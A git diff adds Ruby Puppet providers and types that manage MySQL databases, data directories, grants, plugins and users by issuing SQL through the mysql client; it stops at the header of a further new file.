new file mode 100644
index 000000000..173d3ce9e
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql.rb
@@ -0,0 +1,119 @@
+# Puppet provider for mysql
+class Puppet::Provider::Mysql < Puppet::Provider
+ # Without initvars commands won't work.
+ initvars
+
+ # Make sure we find mysql commands on CentOS and FreeBSD
+ ENV['PATH'] = ENV['PATH'] + ':/usr/libexec:/usr/local/libexec:/usr/local/bin'
+
+ # rubocop:disable Style/HashSyntax
+ commands :mysql_raw => 'mysql'
+ commands :mysqld => 'mysqld'
+ commands :mysqladmin => 'mysqladmin'
+ # rubocop:enable Style/HashSyntax
+
+ # Optional defaults file
+ def self.defaults_file
+ "--defaults-extra-file=#{Facter.value(:root_home)}/.my.cnf" if File.file?("#{Facter.value(:root_home)}/.my.cnf")
+ end
+
+ def self.mysqld_type
+ # find the mysql "dialect" like mariadb / mysql etc.
+ mysqld_version_string.scan(%r{mariadb}i) { return 'mariadb' }
+ mysqld_version_string.scan(%r{\s\(percona}i) { return 'percona' }
+ 'mysql'
+ end
+
+ def mysqld_type
+ self.class.mysqld_type
+ end
+
+ def self.mysqld_version_string
+ # As the possibility of the mysqld being remote we need to allow the version string to be overridden,
+ # this can be done by facter.value as seen below. In the case that it has not been set and the facter
+ # value is nil we use the mysql -v command to ensure we report the correct version of mysql for later use cases.
+ @mysqld_version_string ||= Facter.value(:mysqld_version) || mysqld('-V')
+ end
+
+ def mysqld_version_string
+ self.class.mysqld_version_string
+ end
+
+ def self.mysqld_version
+ # note: be prepared for '5.7.6-rc-log' etc results
+ # versioncmp detects 5.7.6-log to be newer then 5.7.6
+ # this is why we need the trimming.
+ mysqld_version_string.scan(%r{\d+\.\d+\.\d+}).first unless mysqld_version_string.nil?
+ end
+
+ def mysqld_version
+ self.class.mysqld_version
+ end
+
+ def defaults_file
+ self.class.defaults_file
+ end
+
+ def self.mysql_caller(text_of_sql, type)
+ if type.eql? 'system'
+ mysql_raw([defaults_file, '--host=', system_database, '-e', text_of_sql].flatten.compact)
+ elsif type.eql? 'regular'
+ mysql_raw([defaults_file, '-NBe', text_of_sql].flatten.compact)
+ else
+ raise Puppet::Error, _("#mysql_caller: Unrecognised type '%{type}'" % { type: type })
+ end
+ end
+
+ def self.users
+ mysql_caller("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').split("\n")
+ end
+
+ # Optional parameter to run a statement on the MySQL system database.
+ def self.system_database
+ '--database=mysql'
+ end
+
+ def system_database
+ self.class.system_database
+ end
+
+ # Take root@localhost and munge it to 'root'@'localhost'
+ def self.cmd_user(user)
+ "'#{user.sub('@', "'@'")}'"
+ end
+
+ # Take root.* and return ON `root`.*
+ def self.cmd_table(table)
+ table_string = ''
+
+ # We can't escape *.* so special case this.
+ table_string << if table == '*.*'
+ '*.*'
+ # Special case also for FUNCTIONs and PROCEDUREs
+ elsif table.start_with?('FUNCTION ', 'PROCEDURE ')
+ table.sub(%r{^(FUNCTION|PROCEDURE) (.*)(\..*)}, '\1 `\2`\3')
+ else
+ table.sub(%r{^(.*)(\..*)}, '`\1`\2')
+ end
+ table_string
+ end
+
+ def self.cmd_privs(privileges)
+ return 'ALL PRIVILEGES' if privileges.include?('ALL')
+ priv_string = ''
+ privileges.each do |priv|
+ priv_string << "#{priv}, "
+ end
+ # Remove trailing , from the last element.
+ priv_string.sub(%r{, $}, '')
+ end
+
+ # Take in potential options and build up a query string with them.
+ def self.cmd_options(options)
+ option_string = ''
+ options.each do |opt|
+ option_string << ' WITH GRANT OPTION' if opt == 'GRANT'
+ end
+ option_string
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb
new file mode 100644
index 000000000..bbbf21612
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_database/mysql.rb
@@ -0,0 +1,65 @@
+require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql'))
+Puppet::Type.type(:mysql_database).provide(:mysql, parent: Puppet::Provider::Mysql) do
+ desc 'Manages MySQL databases.'
+
+ commands mysql_raw: 'mysql'
+
+ def self.instances
+ mysql_caller('show databases', 'regular').split("\n").map do |name|
+ attributes = {}
+ mysql_caller(["show variables like '%_database'", name], 'regular').split("\n").each do |line|
+ k, v = line.split(%r{\s})
+ attributes[k] = v
+ end
+ new(name: name,
+ ensure: :present,
+ charset: attributes['character_set_database'],
+ collate: attributes['collation_database'])
+ end
+ end
+
+ # We iterate over each mysql_database entry in the catalog and compare it against
+ # the contents of the property_hash generated by self.instances
+ def self.prefetch(resources)
+ databases = instances
+ resources.keys.each do |database|
+ provider = databases.find { |db| db.name == database }
+ resources[database].provider = provider if provider
+ end
+ end
+
+ def create
+ self.class.mysql_caller("create database if not exists `#{@resource[:name]}` character set `#{@resource[:charset]}` collate `#{@resource[:collate]}`", 'regular')
+
+ @property_hash[:ensure] = :present
+ @property_hash[:charset] = @resource[:charset]
+ @property_hash[:collate] = @resource[:collate]
+
+ exists? ? (return true) : (return false)
+ end
+
+ def destroy
+ self.class.mysql_caller("drop database if exists `#{@resource[:name]}`", 'regular')
+
+ @property_hash.clear
+ exists? ? (return false) : (return true)
+ end
+
+ def exists?
+ @property_hash[:ensure] == :present || false
+ end
+
+ mk_resource_methods
+
+ def charset=(value)
+ self.class.mysql_caller("alter database `#{resource[:name]}` CHARACTER SET #{value}", 'regular')
+ @property_hash[:charset] = value
+ (charset == value) ? (return true) : (return false)
+ end
+
+ def collate=(value)
+ self.class.mysql_caller("alter database `#{resource[:name]}` COLLATE #{value}", 'regular')
+ @property_hash[:collate] = value
+ (collate == value) ? (return true) : (return false)
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb
new file mode 100644
index 000000000..ec5f32b32
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_datadir/mysql.rb
@@ -0,0 +1,92 @@
+require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql'))
+Puppet::Type.type(:mysql_datadir).provide(:mysql, parent: Puppet::Provider::Mysql) do
+ desc 'manage data directories for mysql instances'
+
+ initvars
+
+ # Make sure we find mysqld on CentOS and mysql_install_db on Gentoo and Solaris 11
+ ENV['PATH'] = [
+ ENV['PATH'],
+ '/usr/libexec',
+ '/usr/share/mysql/scripts',
+ '/opt/rh/rh-mysql57/root/usr/bin',
+ '/opt/rh/rh-mysql57/root/usr/libexec',
+ '/opt/rh/rh-mysql56/root/usr/bin',
+ '/opt/rh/rh-mysql56/root/usr/libexec',
+ '/opt/rh/rh-mariadb101/root/usr/bin',
+ '/opt/rh/rh-mariadb101/root/usr/libexec',
+ '/opt/rh/rh-mariadb100/root/usr/bin',
+ '/opt/rh/rh-mariadb100/root/usr/libexec',
+ '/opt/rh/mysql55/root/usr/bin',
+ '/opt/rh/mysql55/root/usr/libexec',
+ '/opt/rh/mariadb55/root/usr/bin',
+ '/opt/rh/mariadb55/root/usr/libexec',
+ '/usr/mysql/5.5/bin',
+ '/usr/mysql/5.6/bin',
+ '/usr/mysql/5.7/bin',
+ ].join(':')
+
+ commands mysqld: 'mysqld'
+ optional_commands mysql_install_db: 'mysql_install_db'
+ # rubocop:disable Lint/UselessAssignment
+ def create
+ name = @resource[:name]
+ insecure = @resource.value(:insecure) || true
+ defaults_extra_file = @resource.value(:defaults_extra_file)
+ user = @resource.value(:user) || 'mysql'
+ basedir = @resource.value(:basedir)
+ datadir = @resource.value(:datadir) || @resource[:name]
+ log_error = @resource.value(:log_error) || '/var/tmp/mysqld_initialize.log'
+ # rubocop:enable Lint/UselessAssignment
+ unless defaults_extra_file.nil?
+ unless File.exist?(defaults_extra_file)
+ raise ArgumentError, _('Defaults-extra-file %{file} is missing.') % { file: defaults_extra_file }
+ end
+ defaults_extra_file = "--defaults-extra-file=#{defaults_extra_file}"
+ end
+
+ initialize = if insecure == true
+ '--initialize-insecure'
+ else
+ '--initialize'
+ end
+
+ opts = [defaults_extra_file]
+ %w[basedir datadir user].each do |opt|
+ val = eval(opt) # rubocop:disable Security/Eval
+ opts << "--#{opt}=#{val}" unless val.nil?
+ end
+
+ if mysqld_version.nil?
+ debug("Installing MySQL data directory with mysql_install_db #{opts.compact.join(' ')}")
+ mysql_install_db(opts.compact)
+ elsif (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0
+ opts << "--log-error=#{log_error}"
+ opts << initialize.to_s
+ debug("Initializing MySQL data directory >= 5.7.6 with mysqld: #{opts.compact.join(' ')}")
+ mysqld(opts.compact)
+ else
+ debug("Installing MySQL data directory with mysql_install_db #{opts.compact.join(' ')}")
+ mysql_install_db(opts.compact)
+ end
+
+ exists?
+ end
+
+ def destroy
+ name = @resource[:name] # rubocop:disable Lint/UselessAssignment
+ raise ArgumentError, _('ERROR: `Resource` can not be removed.')
+ end
+
+ def exists?
+ datadir = @resource[:datadir]
+ File.directory?("#{datadir}/mysql") && (Dir.entries("#{datadir}/mysql") - %w[. ..]).any?
+ end
+
+ ##
+ ## MySQL datadir properties
+ ##
+
+ # Generates method for all properties of the property_hash
+ mk_resource_methods
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb
new file mode 100644
index 000000000..88290339f
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_grant/mysql.rb
@@ -0,0 +1,176 @@
+require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql'))
+Puppet::Type.type(:mysql_grant).provide(:mysql, parent: Puppet::Provider::Mysql) do
+ desc 'Set grants for users in MySQL.'
+
+ commands mysql_raw: 'mysql'
+
+ def self.instances
+ instances = []
+ users.map do |user|
+ user_string = cmd_user(user)
+ query = "SHOW GRANTS FOR #{user_string};"
+ begin
+ grants = mysql_caller(query, 'regular')
+ rescue Puppet::ExecutionFailure => e
+ # Silently ignore users with no grants. Can happen e.g. if user is
+ # defined with fqdn and server is run with skip-name-resolve. Example:
+ # Default root user created by mysql_install_db on a host with fqdn
+ # of myhost.mydomain.my: root@myhost.mydomain.my, when MySQL is started
+ # with --skip-name-resolve.
+ next if e.inspect =~ %r{There is no such grant defined for user}
+ raise Puppet::Error, _('#mysql had an error -> %{inspect}') % { inspect: e.inspect }
+ end
+ # Once we have the list of grants generate entries for each.
+ grants.each_line do |grant|
+ # Match the munges we do in the type.
+ munged_grant = grant.delete("'").delete('`').delete('"')
+ # Matching: GRANT (SELECT, UPDATE) PRIVILEGES ON (*.*) TO ('root')@('127.0.0.1') (WITH GRANT OPTION)
+ next unless match = munged_grant.match(%r{^GRANT\s(.+)\sON\s(.+)\sTO\s(.*)@(.*?)(\s.*)?$}) # rubocop:disable Lint/AssignmentInCondition
+ privileges, table, user, host, rest = match.captures
+ table.gsub!('\\\\', '\\')
+
+ # split on ',' if it is not a non-'('-containing string followed by a
+ # closing parenthesis ')'-char - e.g. only split comma separated elements not in
+ # parentheses
+ stripped_privileges = privileges.strip.split(%r{\s*,\s*(?![^(]*\))}).map do |priv|
+ # split and sort the column_privileges in the parentheses and rejoin
+ if priv.include?('(')
+ type, col = priv.strip.split(%r{\s+|\b}, 2)
+ type.upcase + ' (' + col.slice(1...-1).strip.split(%r{\s*,\s*}).sort.join(', ') + ')'
+ else
+ # Once we split privileges up on the , we need to make sure we
+ # shortern ALL PRIVILEGES to just all.
+ (priv == 'ALL PRIVILEGES') ? 'ALL' : priv.strip
+ end
+ end
+ # Same here, but to remove OPTION leaving just GRANT.
+ options = if rest =~ %r{WITH\sGRANT\sOPTION}
+ ['GRANT']
+ else
+ ['NONE']
+ end
+ # fix double backslash that MySQL prints, so resources match
+ table.gsub!('\\\\', '\\')
+ # We need to return an array of instances so capture these
+ instances << new(
+ name: "#{user}@#{host}/#{table}",
+ ensure: :present,
+ privileges: stripped_privileges.sort,
+ table: table,
+ user: "#{user}@#{host}",
+ options: options,
+ )
+ end
+ end
+ instances
+ end
+
+ def self.prefetch(resources)
+ users = instances
+ resources.keys.each do |name|
+ if provider = users.find { |user| user.name == name } # rubocop:disable Lint/AssignmentInCondition
+ resources[name].provider = provider
+ end
+ end
+ end
+
+ def grant(user, table, privileges, options)
+ user_string = self.class.cmd_user(user)
+ priv_string = self.class.cmd_privs(privileges)
+ table_string = privileges.include?('PROXY') ? self.class.cmd_user(table) : self.class.cmd_table(table)
+ query = "GRANT #{priv_string}"
+ query << " ON #{table_string}"
+ query << " TO #{user_string}"
+ query << self.class.cmd_options(options) unless options.nil?
+ self.class.mysql_caller(query, 'system')
+ end
+
+ def create
+ grant(@resource[:user], @resource[:table], @resource[:privileges], @resource[:options])
+
+ @property_hash[:ensure] = :present
+ @property_hash[:table] = @resource[:table]
+ @property_hash[:user] = @resource[:user]
+ @property_hash[:options] = @resource[:options] if @resource[:options]
+ @property_hash[:privileges] = @resource[:privileges]
+
+ exists? ? (return true) : (return false)
+ end
+
+ def revoke(user, table, revoke_privileges = ['ALL'])
+ user_string = self.class.cmd_user(user)
+ table_string = revoke_privileges.include?('PROXY') ? self.class.cmd_user(table) : self.class.cmd_table(table)
+ priv_string = self.class.cmd_privs(revoke_privileges)
+ # revoke grant option needs to be a extra query, because
+ # "REVOKE ALL PRIVILEGES, GRANT OPTION [..]" is only valid mysql syntax
+ # if no ON clause is used.
+ # It hast to be executed before "REVOKE ALL [..]" since a GRANT has to
+ # exist to be executed successfully
+ if revoke_privileges.include?('ALL') && !revoke_privileges.include?('PROXY')
+ query = "REVOKE GRANT OPTION ON #{table_string} FROM #{user_string}"
+ self.class.mysql_caller(query, 'system')
+ end
+ query = "REVOKE #{priv_string} ON #{table_string} FROM #{user_string}"
+ self.class.mysql_caller(query, 'system')
+ end
+
+ def destroy
+ # if the user was dropped, it'll have been removed from the user hash
+ # as the grants are already removed by the DROP statement
+ if self.class.users.include? @property_hash[:user]
+ if @property_hash[:privileges].include?('PROXY')
+ revoke(@property_hash[:user], @property_hash[:table], @property_hash[:privileges])
+ else
+ revoke(@property_hash[:user], @property_hash[:table])
+ end
+ end
+ @property_hash.clear
+
+ exists? ? (return false) : (return true)
+ end
+
+ def exists?
+ @property_hash[:ensure] == :present || false
+ end
+
+ def flush
+ @property_hash.clear
+ self.class.mysql_caller('FLUSH PRIVILEGES', 'regular')
+ end
+
+ mk_resource_methods
+
+ def diff_privileges(privileges_old, privileges_new)
+ diff = { revoke: [], grant: [] }
+ if privileges_old.include? 'ALL'
+ diff[:revoke] = privileges_old
+ diff[:grant] = privileges_new
+ elsif privileges_new.include? 'ALL'
+ diff[:grant] = privileges_new
+ else
+ diff[:revoke] = privileges_old - privileges_new
+ diff[:grant] = privileges_new - privileges_old
+ end
+ diff
+ end
+
+ def privileges=(privileges)
+ diff = diff_privileges(@property_hash[:privileges], privileges)
+ unless diff[:revoke].empty?
+ revoke(@property_hash[:user], @property_hash[:table], diff[:revoke])
+ end
+ unless diff[:grant].empty?
+ grant(@property_hash[:user], @property_hash[:table], diff[:grant], @property_hash[:options])
+ end
+ @property_hash[:privileges] = privileges
+ self.privileges
+ end
+
+ def options=(options)
+ revoke(@property_hash[:user], @property_hash[:table])
+ grant(@property_hash[:user], @property_hash[:table], @property_hash[:privileges], options)
+ @property_hash[:options] = options
+
+ self.options
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb
new file mode 100644
index 000000000..7a7ed9f1b
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_plugin/mysql.rb
@@ -0,0 +1,51 @@
+require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql'))
+Puppet::Type.type(:mysql_plugin).provide(:mysql, parent: Puppet::Provider::Mysql) do
+ desc 'Manages MySQL plugins.'
+
+ commands mysql_raw: 'mysql'
+
+ def self.instances
+ mysql_caller('show plugins', 'regular').split("\n").map do |line|
+ name, _status, _type, library, _license = line.split(%r{\t})
+ new(name: name,
+ ensure: :present,
+ soname: library)
+ end
+ end
+
+ # We iterate over each mysql_plugin entry in the catalog and compare it against
+ # the contents of the property_hash generated by self.instances
+ def self.prefetch(resources)
+ plugins = instances
+ resources.keys.each do |plugin|
+ if provider = plugins.find { |pl| pl.name == plugin } # rubocop:disable Lint/AssignmentInCondition
+ resources[plugin].provider = provider
+ end
+ end
+ end
+
+ def create
+ # Use plugin_name.so as soname if it's not specified. This won't work on windows as
+ # there it should be plugin_name.dll
+ @resource[:soname].nil? ? (soname = @resource[:name] + '.so') : (soname = @resource[:soname])
+ self.class.mysql_caller("install plugin #{@resource[:name]} soname '#{soname}'", 'regular')
+
+ @property_hash[:ensure] = :present
+ @property_hash[:soname] = @resource[:soname]
+
+ exists? ? (return true) : (return false)
+ end
+
+ def destroy
+ self.class.mysql_caller("uninstall plugin #{@resource[:name]}", 'regular')
+
+ @property_hash.clear
+ exists? ? (return false) : (return true)
+ end
+
+ def exists?
+ @property_hash[:ensure] == :present || false
+ end
+
+ mk_resource_methods
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb
new file mode 100644
index 000000000..d647f6420
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/provider/mysql_user/mysql.rb
@@ -0,0 +1,206 @@
+require File.expand_path(File.join(File.dirname(__FILE__), '..', 'mysql'))
+Puppet::Type.type(:mysql_user).provide(:mysql, parent: Puppet::Provider::Mysql) do
+ desc 'manage users for a mysql database.'
+ commands mysql_raw: 'mysql'
+
+ # Build a property_hash containing all the discovered information about MySQL
+ # users.
+ def self.instances
+ users = mysql_caller("SELECT CONCAT(User, '@',Host) AS User FROM mysql.user", 'regular').split("\n")
+ # To reduce the number of calls to MySQL we collect all the properties in
+ # one big swoop.
+ users.map do |name|
+ if mysqld_version.nil?
+ ## Default ...
+ # rubocop:disable Metrics/LineLength
+ query = "SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{name}'"
+ elsif (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0
+ query = "SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, AUTHENTICATION_STRING, PLUGIN FROM mysql.user WHERE CONCAT(user, '@', host) = '#{name}'"
+ else
+ query = "SELECT MAX_USER_CONNECTIONS, MAX_CONNECTIONS, MAX_QUESTIONS, MAX_UPDATES, SSL_TYPE, SSL_CIPHER, X509_ISSUER, X509_SUBJECT, PASSWORD /*!50508 , PLUGIN */ FROM mysql.user WHERE CONCAT(user, '@', host) = '#{name}'"
+ end
+ @max_user_connections, @max_connections_per_hour, @max_queries_per_hour,
+ @max_updates_per_hour, ssl_type, ssl_cipher, x509_issuer, x509_subject,
+ @password, @plugin = mysql_caller(query, 'regular').split(%r{\s})
+ @tls_options = parse_tls_options(ssl_type, ssl_cipher, x509_issuer, x509_subject)
+ # rubocop:enable Metrics/LineLength
+ new(name: name,
+ ensure: :present,
+ password_hash: @password,
+ plugin: @plugin,
+ max_user_connections: @max_user_connections,
+ max_connections_per_hour: @max_connections_per_hour,
+ max_queries_per_hour: @max_queries_per_hour,
+ max_updates_per_hour: @max_updates_per_hour,
+ tls_options: @tls_options)
+ end
+ end
+
+ # We iterate over each mysql_user entry in the catalog and compare it against
+ # the contents of the property_hash generated by self.instances
+ def self.prefetch(resources)
+ users = instances
+ # rubocop:disable Lint/AssignmentInCondition
+ resources.keys.each do |name|
+ if provider = users.find { |user| user.name == name }
+ resources[name].provider = provider
+ end
+ end
+ # rubocop:enable Lint/AssignmentInCondition
+ end
+
+ def create
+ merged_name = @resource[:name].sub('@', "'@'")
+ password_hash = @resource.value(:password_hash)
+ plugin = @resource.value(:plugin)
+ max_user_connections = @resource.value(:max_user_connections) || 0
+ max_connections_per_hour = @resource.value(:max_connections_per_hour) || 0
+ max_queries_per_hour = @resource.value(:max_queries_per_hour) || 0
+ max_updates_per_hour = @resource.value(:max_updates_per_hour) || 0
+ tls_options = @resource.value(:tls_options) || ['NONE']
+
+ # Use CREATE USER to be compatible with NO_AUTO_CREATE_USER sql_mode
+ # This is also required if you want to specify a authentication plugin
+ if !plugin.nil?
+ if plugin == 'sha256_password' && !password_hash.nil?
+ self.class.mysql_caller("CREATE USER '#{merged_name}' IDENTIFIED WITH '#{plugin}' AS '#{password_hash}'", 'system')
+ else
+ self.class.mysql_caller("CREATE USER '#{merged_name}' IDENTIFIED WITH '#{plugin}'", 'system')
+ end
+ @property_hash[:ensure] = :present
+ @property_hash[:plugin] = plugin
+ else
+ self.class.mysql_caller("CREATE USER '#{merged_name}' IDENTIFIED BY PASSWORD '#{password_hash}'", 'system')
+ @property_hash[:ensure] = :present
+ @property_hash[:password_hash] = password_hash
+ end
+ # rubocop:disable Metrics/LineLength
+ self.class.mysql_caller("GRANT USAGE ON *.* TO '#{merged_name}' WITH MAX_USER_CONNECTIONS #{max_user_connections} MAX_CONNECTIONS_PER_HOUR #{max_connections_per_hour} MAX_QUERIES_PER_HOUR #{max_queries_per_hour} MAX_UPDATES_PER_HOUR #{max_updates_per_hour}", 'system')
+ # rubocop:enable Metrics/LineLength
+ @property_hash[:max_user_connections] = max_user_connections
+ @property_hash[:max_connections_per_hour] = max_connections_per_hour
+ @property_hash[:max_queries_per_hour] = max_queries_per_hour
+ @property_hash[:max_updates_per_hour] = max_updates_per_hour
+
+ merged_tls_options = tls_options.join(' AND ')
+ if ((mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0) ||
+ (mysqld_type == 'mariadb' && Puppet::Util::Package.versioncmp(mysqld_version, '10.2.0') >= 0)
+ self.class.mysql_caller("ALTER USER '#{merged_name}' REQUIRE #{merged_tls_options}", 'system')
+ else
+ self.class.mysql_caller("GRANT USAGE ON *.* TO '#{merged_name}' REQUIRE #{merged_tls_options}", 'system')
+ end
+ @property_hash[:tls_options] = tls_options
+
+ exists? ? (return true) : (return false)
+ end
+
+ def destroy
+ merged_name = @resource[:name].sub('@', "'@'")
+ self.class.mysql_caller("DROP USER '#{merged_name}'", 'system')
+
+ @property_hash.clear
+ exists? ? (return false) : (return true)
+ end
+
+ def exists?
+ @property_hash[:ensure] == :present || false
+ end
+
+ ##
+ ## MySQL user properties
+ ##
+
+ # Generates method for all properties of the property_hash
+ mk_resource_methods
+
+ def password_hash=(string)
+ merged_name = self.class.cmd_user(@resource[:name])
+
+ # We have a fact for the mysql version ...
+ if mysqld_version.nil?
+ # default ... if mysqld_version does not work
+ self.class.mysql_caller("SET PASSWORD FOR #{merged_name} = '#{string}'", 'system')
+ elsif (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0
+ raise ArgumentError, _('Only mysql_native_password (*ABCD...XXX) hashes are supported.') unless string =~ %r{^\*}
+ self.class.mysql_caller("ALTER USER #{merged_name} IDENTIFIED WITH mysql_native_password AS '#{string}'", 'system')
+ else
+ self.class.mysql_caller("SET PASSWORD FOR #{merged_name} = '#{string}'", 'system')
+ end
+
+ (password_hash == string) ? (return true) : (return false)
+ end
+
+ def max_user_connections=(int)
+ merged_name = self.class.cmd_user(@resource[:name])
+ self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_USER_CONNECTIONS #{int}", 'system').chomp
+
+ (max_user_connections == int) ? (return true) : (return false)
+ end
+
+ def max_connections_per_hour=(int)
+ merged_name = self.class.cmd_user(@resource[:name])
+ self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_CONNECTIONS_PER_HOUR #{int}", 'system').chomp
+
+ (max_connections_per_hour == int) ? (return true) : (return false)
+ end
+
+ def max_queries_per_hour=(int)
+ merged_name = self.class.cmd_user(@resource[:name])
+ self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_QUERIES_PER_HOUR #{int}", 'system').chomp
+
+ (max_queries_per_hour == int) ? (return true) : (return false)
+ end
+
+ def max_updates_per_hour=(int)
+ merged_name = self.class.cmd_user(@resource[:name])
+ self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} WITH MAX_UPDATES_PER_HOUR #{int}", 'system').chomp
+
+ (max_updates_per_hour == int) ? (return true) : (return false)
+ end
+
+ def plugin=(string)
+ merged_name = self.class.cmd_user(@resource[:name])
+
+ if (mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0
+ sql = "ALTER USER #{merged_name} IDENTIFIED WITH '#{string}'"
+ sql << " AS '#{@resource[:password_hash]}'" if string == 'mysql_native_password'
+ else
+ # See https://bugs.mysql.com/bug.php?id=67449
+ sql = "UPDATE mysql.user SET plugin = '#{string}'"
+ sql << ((string == 'mysql_native_password') ? ", password = '#{@resource[:password_hash]}'" : ", password = ''")
+ sql << " WHERE CONCAT(user, '@', host) = '#{@resource[:name]}'"
+ end
+
+ self.class.mysql_caller(sql, 'system')
+ (plugin == string) ? (return true) : (return false)
+ end
+
+ def tls_options=(array)
+ merged_name = self.class.cmd_user(@resource[:name])
+ merged_tls_options = array.join(' AND ')
+ if ((mysqld_type == 'mysql' || mysqld_type == 'percona') && Puppet::Util::Package.versioncmp(mysqld_version, '5.7.6') >= 0) ||
+ (mysqld_type == 'mariadb' && Puppet::Util::Package.versioncmp(mysqld_version, '10.2.0') >= 0)
+ self.class.mysql_caller("ALTER USER #{merged_name} REQUIRE #{merged_tls_options}", 'system')
+ else
+ self.class.mysql_caller("GRANT USAGE ON *.* TO #{merged_name} REQUIRE #{merged_tls_options}", 'system')
+ end
+
+ (tls_options == array) ? (return true) : (return false)
+ end
+
+ def self.parse_tls_options(ssl_type, ssl_cipher, x509_issuer, x509_subject)
+ if ssl_type == 'ANY'
+ ['SSL']
+ elsif ssl_type == 'X509'
+ ['X509']
+ elsif ssl_type == 'SPECIFIED'
+ options = []
+ options << "CIPHER #{ssl_cipher}" if !ssl_cipher.nil? && !ssl_cipher.empty?
+ options << "ISSUER #{x509_issuer}" if !x509_issuer.nil? && !x509_issuer.empty?
+ options << "SUBJECT #{x509_subject}" if !x509_subject.nil? && !x509_subject.empty?
+ options
+ else
+ ['NONE']
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_database.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_database.rb
new file mode 100644
index 000000000..f8b940650
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_database.rb
@@ -0,0 +1,24 @@
+Puppet::Type.newtype(:mysql_database) do
+ @doc = 'Manage MySQL databases.'
+
+ ensurable
+
+ autorequire(:file) { '/root/.my.cnf' }
+ autorequire(:class) { 'mysql::server' }
+
+ newparam(:name, namevar: true) do
+ desc 'The name of the MySQL database to manage.'
+ end
+
+ newproperty(:charset) do
+ desc 'The CHARACTER SET setting for the database'
+ defaultto :utf8
+ newvalue(%r{^\S+$})
+ end
+
+ newproperty(:collate) do
+ desc 'The COLLATE setting for the database'
+ defaultto :utf8_general_ci
+ newvalue(%r{^\S+$})
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_datadir.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_datadir.rb
new file mode 100644
index 000000000..e49a41195
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_datadir.rb
@@ -0,0 +1,34 @@
+Puppet::Type.newtype(:mysql_datadir) do
+ @doc = 'Manage MySQL datadirs with mysql_install_db OR mysqld (5.7.6 and above).'
+
+ ensurable
+
+ autorequire(:package) { 'mysql-server' }
+
+ newparam(:datadir, namevar: true) do
+ desc 'The datadir name'
+ end
+
+ newparam(:basedir) do
+ desc 'The basedir name, default /usr.'
+ newvalues(%r{^/})
+ end
+
+ newparam(:user) do
+ desc 'The user for the directory default mysql (name, not uid).'
+ end
+
+ newparam(:defaults_extra_file) do
+ desc 'MySQL defaults-extra-file with absolute path (*.cnf).'
+ newvalues(%r{^/.*\.cnf$})
+ end
+
+ newparam(:insecure, boolean: true) do
+ desc 'Insecure initialization (needed for 5.7.6++).'
+ end
+
+ newparam(:log_error) do
+ desc 'The path to the mysqld error log file (used with the --log-error option)'
+ newvalues(%r{^/})
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_grant.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/lib/puppet/type/mysql_grant.rb
new file mode 100644
